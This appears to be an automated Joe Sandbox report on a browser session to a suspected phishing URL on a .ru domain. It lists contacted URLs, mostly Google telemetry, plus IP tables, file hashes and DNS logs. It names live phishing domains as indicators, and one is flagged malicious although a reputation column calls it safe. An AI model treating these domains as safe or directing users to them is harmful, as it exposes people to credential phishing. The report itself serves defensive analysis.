https://www.google.com/gen_204?atyp=i&ct=psnt&cad=&nt=navigate&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495657901&opi=89978449	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9vR1rNwOjC3PXOxUlyKiCwNBv2Fg/cb=gapi.loaded_0	false		high
https://www.google.com/gen_204?atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&s=promo&rt=hpbas.3500,hpbarr.1&zx=1742495655889&opi=89978449	false		high
https://www.google.com/gen_204?atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&s=webhp&t=all&ddl=1&imn=11&dtc=144&stc=25&ima=1&imad=0&imac=1&wh=897&adh=&cls=0.000047472695443143816&ime=1&imex=1&imeh=0&imeha=0&imehb=0&imea=0&imeb=0&imel=0&imed=0&imeeb=0&scp=0&cb=200398&ucb=200398&ts=200698&dt=&mem=ujhs.9,tjhs.12,jhsl.2248,dm.8&nv=ne.1,feid.1823e44a-0401-4f7a-8863-42bacfe2c6a9&net=dl.1450,ect.3g,rtt.300,sd.0&hp=&sys=hc.4&p=bs.true&rt=hst.40,prt.592,cbt.881,afti.1512,aft.1512,xjses.1789,xjsee.1837,xjs.1837,lcp.1538,fcp.570,wsrt.1122,cst.210,dnst.0,rqst.699,rspt.399,sslt.209,rqstt.822,unt.610,cstt.612,dit.1725&zx=1742495654231&opi=89978449	false		high
https://www.google.com/	false		high
https://dd18.hqfyed.ru/kabutar$ds6t5	false	Avira URL Cloud: safe	unknown
https://www.google.com/xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/rs=ACT90oFI843KH_skkA3LMEIA-jaywe7UZQ/m=aLUfP?xjs=s4	false		high
https://er.avunzocl.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.google.com/xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/ck=xjs.hd.3UF5emn0zs8.L.B1.O/am=CFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/ujg=1/rs=ACT90oGkziwljBCqPtF7zkxsImG3IkkszQ/m=sb_wiz,aa,abd,U9EYge,syrs,syrr,syrn,syf3,syrq,syrf,syzm,sysa,syrv,syro,syrm,syrp,syrw,syrx,syrt,syrh,syra,syr5,syqb,syrj,sys9,sys7,sys8,sys6,syr3,sys5,async,syvr,ifl,pHXghd,sf,sysy,sy3o8,sonic,sy3oa,sy1c8,sy18j,sy18f,syqa,syq9,syq7,syqe,syq6,sy3nr,sy3nt,syuv,syqj,syq2,syee,sya2,sy9k,sy9l,sy9j,sy9g,spch,sytv,sytu,rtH1bd,sy19j,sy15j,sy137,sy12m,sydg,syde,sya6,sya3,sya1,sy19g,EiD4Fe,SMquOb,sy7h,sy7g,syfk,syfi,syft,syfq,syfh,syff,syfd,sy7n,sy7k,sy7m,syfc,syfg,sybl,sybe,sybh,syb9,syaj,syb4,syav,syb3,syb2,syap,syas,syar,syao,syac,syam,syat,syb5,sy9x,sya7,syae,syag,syah,syaw,syal,syay,syai,sybo,sya8,sybn,sy9o,sy9r,sya4,syab,syb6,syfa,syf9,syf6,syf5,syf4,sy7x,uxMpU,syex,sybw,sybs,sybp,sya9,syb1,sybq,sybm,sy8h,sy8c,sy8b,sy8a,sy89,Mlhmy,QGR0gd,OTA3Ae,sy7i,EEDORb,PoEs9b,Pjplud,sy86,A1yn5d,YIZmRd,uY49fb,sy7u,sy7s,sy7t,sy7r,sy7q,byfTOb,lsjVmc,LEikZe,kWgXee,ovKuLd,sgY6Zb,sy8n,sy8l,sy7w,xUdipf,NwH0H,gychg,ZfAoz,yDVVkb,qafBPd,ebZ3mb,dowIGb,sy19n,sy19m,sy19k,syyn,syu0,d5EhJe,sy1a7,fCxEDd,syvx,sy1a5,sy1a4,sy1a3,sy19w,sy19u,sy19t,sy19y,sy17d,sy176,syw6,syya,syy9,T1HOxc,sy19v,sy19r,sy19o?xjs=s3	false		high
https://www.google.com/gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=lOO0Vd,P6sQOc&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=5&dbs=1551&ebs=1551&ts=1851&ws=0&ls=5704&le=6201&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495657472&opi=89978449	false		high
https://er.avunzocl.ru/tvajiBy7onsdzkhneurSzR51zrCamRMKZht6szjonmim	false	Avira URL Cloud: safe	unknown
https://www.google.com/async/hpba?yv=3&cs=0&ei=pF_cZ7LvOfKGptQP2o684AU&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/dg%3D0/br%3D1/rs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:/xjs/_/ss/k%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/br%3D1/rs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/ck%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoADsAAgAAAgABAMAIAAkEAAABBEAAMCEAAAYYAAAgAABgAgASIAjAo4wCUxokAAEAGAAAHHABIAkQACgAAACQAAAAAAIAAAIAAAACAAEw0BAQFUApABAAMAAIBAAARAAAGEKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAIAAsADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho/d%3D1/ed%3D1/dg%3D0/br%3D1/ujg%3D1/rs%3DACT90oGkziwljBCqPtF7zkxsImG3IkkszQ,_fmt:prog,_id:_pF_cZ7LvOfKGptQP2o684AU_8&sp_imghp=false&sp_hpep=2&sp_hpte=0&vet=10ahUKEwiy0aqTppmMAxVyg4kEHVoHD1wQj-0KCBY..i	false		high
https://www.google.com/gen_204?atyp=i&ei=pF_cZ7LvOfKGptQP2o684AU&ct=slh&v=t1&im=M&pv=0.31742035408048275&me=8:1742495670460,V,0,0,0,0:49,h,1,1,o:18512,V,0,0,1280,897:37,h,1,1,i:0,h,1,1,o:2,e,H&zx=1742495689060&opi=89978449	false		high
https://www.google.com/gen_204?atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&s=webhp&nt=navigate&t=fi&st=3986&fid=2&zx=1742495655270&opi=89978449	false		high
https://www.google.com/gen_204?s=async&astyp=hpba&atyp=csi&ei=pl_cZ96RDcDdptQPtbzxsQM&rt=ipf.1,ipfr.666,ttfb.666,st.666,acrt.668,ipfrl.668,aaft.668,art.668,ns.-1688&ns=1742495651266&twt=1.2000000000116415&mwt=1.2000000000116415	false		high
https://er.avunzocl.ru/rqDWOipXOpKswPVOYE9wkWulPSYTDz58tzo6LYGRjy	false	Avira URL Cloud: safe	unknown
https://www.google.com/gen_204?s=webhp&t=cap&atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&rt=wsrt.1122,hst.40,prt.592,cbt.881&ddl=1&imn=11&dtc=144&stc=25&ima=1&imad=0&imac=1&wh=897&opi=89978449&nt=navigate&dt=&ts=200698&ant=replace	false		high
https://www.google.com/gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=zx30Y,Wo3n8,loL8vb,ms4mZb,B2qlPe,NzU6V,zGLm3b,DhPYme,KHourd,MpJwZc,UUJqVe,sOXFj,s39S4,oGtAuc,nAFL3,q0xTif,y05UD,PPhKqf,epYOx&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=2&dbs=164129&ebs=164129&ts=164429&ws=0&ls=3028&le=4602&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495655910&opi=89978449	false		high
https://play.google.com/log?format=json&hasfast=true&authuser=0	false		high
https://www.google.com/gen_204?atyp=i&ct=ppm&cad=&sn=webhp&sp=0&ss=0&ids=XCToU,VsqSCc,P10Owf,gSZvdb,WlNQGd,DPreE,nabPbb,CnSW2d,kQvlef,fXO0xe&am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAkEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEEAAQAAAAAAAAAAAAAAAABKmlho&k=xjs.hd.en.VHBQ7i1oX2g.es5.O&s=3&dbs=38131&ebs=38131&ts=38431&ws=0&ls=4615&le=5369&ei=pF_cZ7LvOfKGptQP2o684AU&zx=1742495656641&opi=89978449	false		high
https://www.google.com/xjs/_/js/k=xjs.hd.en.VHBQ7i1oX2g.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/d=0/dg=0/br=1/rs=ACT90oFI843KH_skkA3LMEIA-jaywe7UZQ/m=lOO0Vd,sy87,P6sQOc?xjs=s4	false		high
https://www.google.com/client_204?cs=1&opi=89978449	false		high
https://www.google.com/gen_204?atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&s=promo&rt=hpbas.3500&zx=1742495655888&opi=89978449	false		high
https://play.google.com/log?hasfast=true&authuser=0&format=json	false		high
https://www.google.com/gen_204?s=webhp&t=aft&atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&rt=wsrt.1122,hst.40,prt.592,cbt.881,afti.1512,aft.1512&ddl=1&imn=11&dtc=144&stc=25&ima=1&imad=0&imac=1&wh=897&opi=89978449&nt=navigate&dt=&ts=200698&ant=replace	false		high
https://ogs.google.com/widget/callout?prid=19046229&pgid=19046228&puid=2e6b2513ec221596&eom=1&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com&cn=callout&pid=1&spid=538&hl=en	false		high
https://www.google.com/gen_204?atyp=i&ei=pF_cZ7LvOfKGptQP2o684AU&dt19=2&prm23=0&zx=1742495655894&opi=89978449	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ogs.google.com/	chromecache_190.3.dr	false	high
http://www.broofa.com	chromecache_167.3.dr	false	high
https://play.google.com/work/enroll?identifier=	chromecache_165.3.dr	false	high
https://policies.google.com/terms/service-specific	chromecache_165.3.dr	false	high
https://g.co/recover	chromecache_165.3.dr	false	high
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	chromecache_165.3.dr	false	high
https://ogs.google.com/widget/callout	chromecache_190.3.dr	false	high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_177.3.dr	false	high
https://policies.google.com/technologies/cookies	chromecache_165.3.dr	false	high
https://policies.google.com/terms	chromecache_165.3.dr	false	high
https://www.google.com	chromecache_190.3.dr, chromecache_165.3.dr, chromecache_167.3.dr	false	high
https://www.youtube.com/t/terms?chromeless=1&hl=	chromecache_165.3.dr	false	high
https://ogs.google.com/widget/callout?eom=1	chromecache_149.3.dr	false	high
https://policies.google.com/terms/location	chromecache_165.3.dr	false	high
https://ogs.google.com/widget/callout?prid=19046229	chromecache_149.3.dr	false	high
https://www.google.com/tools/feedback	chromecache_136.3.dr	false	high
https://youtube.com/t/terms?gl=	chromecache_165.3.dr	false	high
https://www.google.com/intl/	chromecache_165.3.dr	false	high
https://apis.google.com/js/api.js	chromecache_178.3.dr	false	high
https://www.google.com/_/og/promos/	chromecache_149.3.dr	false	high
https://plus.google.com	chromecache_177.3.dr	false	high
https://policies.google.com/privacy	chromecache_165.3.dr	false	high
https://clients6.google.com	chromecache_177.3.dr	false	high
https://play.google/intl/	chromecache_165.3.dr	false	high
https://families.google.com/intl/	chromecache_165.3.dr	false	high
https://policies.google.com/technologies/location-data	chromecache_165.3.dr	false	high
https://apis.google.com/js	chromecache_186.3.dr	false	high
https://www.google.com/intl/en/about/products	chromecache_149.3.dr	false	high
https://www.google.com/log?format=json&hasfast=true	chromecache_187.3.dr, chromecache_178.3.dr	false	high
https://lens.google.com	chromecache_187.3.dr	false	high
https://angular.dev/license	chromecache_187.3.dr, chromecache_186.3.dr, chromecache_178.3.dr	false	high
http://schema.org/WebPage	chromecache_149.3.dr	false	high
https://lens.google.com/gen204	chromecache_189.3.dr	false	high
https://support.google.com/	chromecache_136.3.dr	false	high
https://www.google.com/url?q	chromecache_190.3.dr	false	high
https://csp.withgoogle.com/csp/lcreport/	chromecache_187.3.dr	false	high
https://apis.google.com	chromecache_149.3.dr, chromecache_177.3.dr, chromecache_167.3.dr	false	high
https://domains.google.com/suggest/flow	chromecache_177.3.dr	false	high
https://support.google.com/accounts?p=new-si-ui	chromecache_165.3.dr	false	high
https://ogs.google.com/widget/app/so?eom=1	chromecache_149.3.dr	false	high
https://support.google.com/websearch/answer/106230	chromecache_187.3.dr	false	high
https://policies.google.com/privacy/google-partners	chromecache_165.3.dr	false	high
https://policies.google.com/privacy/additional	chromecache_165.3.dr	false	high
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_187.3.dr, chromecache_186.3.dr, chromecache_178.3.dr	false	high
https://push.clients6.google.com/upload/	chromecache_136.3.dr	false	high
https://www.google.com"	chromecache_190.3.dr	false	high
https://support.google.com/accounts?hl=	chromecache_165.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.80.46	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.176.206	plus.l.google.com	United States	15169	GOOGLEUS	false
104.16.5.189	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.64.78	play.google.com	United States	15169	GOOGLEUS	false
142.251.40.110	unknown	United States	15169	GOOGLEUS	false
142.251.40.196	unknown	United States	15169	GOOGLEUS	false
142.251.40.174	www3.l.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.71.75	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.171.153	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.63.181	er.avunzocl.ru	United States	13335	CLOUDFLARENETUS	true
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
172.67.143.230	dd18.hqfyed.ru	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644659
Start date and time:	2025-03-20 19:32:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://er.avunzocl.ru/hhtc/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.evad.win@30/109@38/19

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, BackgroundTransferHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.65.163, 142.251.35.174, 172.253.115.84, 142.250.65.238, 142.250.81.238, 199.232.214.172, 142.251.40.142, 142.250.80.78, 142.251.40.195, 142.250.80.74, 142.250.176.202, 142.251.40.202, 142.250.64.106, 142.251.41.10, 142.251.40.138, 142.251.40.106, 142.250.80.106, 142.250.81.234, 142.250.64.74, 142.251.32.106, 142.251.40.170, 142.250.72.106, 142.251.40.234, 142.251.35.170, 142.250.80.42, 172.217.165.138, 142.250.65.170, 142.250.65.234, 142.250.80.10, 142.250.65.202, 142.250.80.99, 142.251.35.163, 142.251.40.238, 142.251.32.110, 142.251.40.227, 142.250.65.174, 142.251.163.84, 142.250.81.227, 142.250.65.206, 64.233.180.84, 184.31.69.3, 20.12.23.50, 20.99.186.246, 150.171.28.10, 23.48.224.235
Excluded domains from analysis (whitelisted): www.bing.com, ssl.gstatic.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://er.avunzocl.ru/hhtc/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 55256, version 1.0
Category:	downloaded
Size (bytes):	55256
Entropy (8bit):	7.9958351357124835
Encrypted:	true
SSDEEP:	768:aE9HsQuRLPPTiTRi06pYSINz9AdaTV7n5qAsVUdRwRuIDzjYTXqq2emOr8d/cNPk:aE9HsHPPR06bIhedCaAb+u2veJ8KNad
MD5:	1E2D4737305EEA41EE9198E3FD3F59C2
SHA1:	ABFF05D701173AB7EAE355BE60AD30CF7F63536B
SHA-256:	351BA345250BAF98CE325B4017AC9B96C9498F6644937EF558DC5993AF676F2A
SHA-512:	469723131222DEC7EA745B528FE62586DA62D02505B6904A4B97157259DD37C26BF0D7012538EC6AB999C4A82D44F97AD7A1BC526CEA9E8EE1CD30FF218FBCE8
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v62/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2
Preview:	wOF2...............T...]..........................^.......?HVAR.\?MVAR9.`?STAT.',..B/\.....H..!....0..v.6.$..V. ..~..:..[..q$.c..6g.slSI"k\...O.:....s.q@....mY.;.$.,.e....&.....my.....=...D..u..3+MS ..S.f...P..2.IL.2d.....V..z...E...).....d.d..wa.Gz..%.Ar....O....rD...UIK.4d.WP...:..(.......7...-.M............~m....5....<vR.../.....Z......x9..O\... .....N...!.6.=.......S...hk..3......m.{....u..e._.Y...0.B3.Y...,."..f~.<....}3///..!.C.. `PD\...-"...."...%..p.7"m-..-_..q,.EK..R......._g.w...]..j..@...7. .%.g>.{6..x..g..,...\|./}.}..4H............H.&@($!...@....b....S..........$."......&u.J...K0.F...hr...A...9}.7.u..\|.?...$......i.i....u..$Y.e...}D...0.9b:9..8h....[eV5.-......../B[..!....).9..../0......DY....!;h.L.,<I.:.-...t.[I..J..I.&..%~....T4U.JaC..>..w......S`.....}&.....".E.Cx......} .....i....P....iN..v.hD4.....B...h...z.-.LT..[...:&.K....T....D.Kz..........J..n.?..{6. ...b.oH.!z..gl7U%.@`......>.J......3..i.W...S.@..#s...r{H/;.s

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 19:33:42.533303022 CET	53	51437	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:42.552751064 CET	53	64423	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:43.525463104 CET	53	56290	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:46.736746073 CET	62430	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:46.737121105 CET	50770	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:46.843929052 CET	53	50770	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:46.845197916 CET	53	62430	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:47.854453087 CET	55901	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:47.855751991 CET	58122	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:48.097281933 CET	53	58122	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:48.224106073 CET	53	55901	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:49.465523958 CET	62855	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:49.465770960 CET	59866	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:49.468847036 CET	59401	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:49.469074011 CET	55987	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:49.469434977 CET	56264	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:49.469574928 CET	64258	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:49.578147888 CET	53	59866	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:49.578284025 CET	53	59401	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:49.579355955 CET	53	64258	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:50.489588976 CET	52210	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:50.489710093 CET	55151	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:50.595495939 CET	53	55151	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:50.595699072 CET	53	52210	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:51.262532949 CET	54574	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:51.262854099 CET	57166	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:51.365622997 CET	53	54574	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:51.368649006 CET	53	57166	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:51.908023119 CET	64300	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:51.908497095 CET	52490	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:33:52.009192944 CET	53	64300	1.1.1.1	192.168.2.5
Mar 20, 2025 19:33:52.020857096 CET	53	52490	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:00.489787102 CET	53	52199	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:07.995198011 CET	56973	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:07.995290995 CET	59673	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:08.099534988 CET	53	59673	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:08.101490974 CET	53	56973	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:09.169053078 CET	60983	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:09.169184923 CET	51446	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:09.520483971 CET	53	60983	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:09.645320892 CET	53	51446	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:09.920368910 CET	56128	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:09.920793056 CET	56929	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:10.037518024 CET	53	56929	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:10.149264097 CET	53	56128	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:10.899672031 CET	58766	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:10.899939060 CET	64504	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:11.007168055 CET	53	64504	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:11.007327080 CET	53	58766	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:11.984215975 CET	61325	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:11.984401941 CET	53896	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:12.098248959 CET	53	61325	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:12.100189924 CET	53	53896	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:13.791352987 CET	53	64652	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:14.327625990 CET	53945	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:14.327625990 CET	63141	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:14.433252096 CET	53	53945	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:14.433386087 CET	53	63141	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.052424908 CET	53	54656	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.217710018 CET	61353	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:15.217932940 CET	54989	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:15.324477911 CET	53	61353	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.325413942 CET	53	54989	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.328253984 CET	53	53381	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.595983028 CET	52324	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:15.596831083 CET	60079	53	192.168.2.5	1.1.1.1
Mar 20, 2025 19:34:15.699888945 CET	53	60079	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.701008081 CET	53	52324	1.1.1.1	192.168.2.5
Mar 20, 2025 19:34:15.900046110 CET	53	63532	1.1.1.1	192.168.2.5
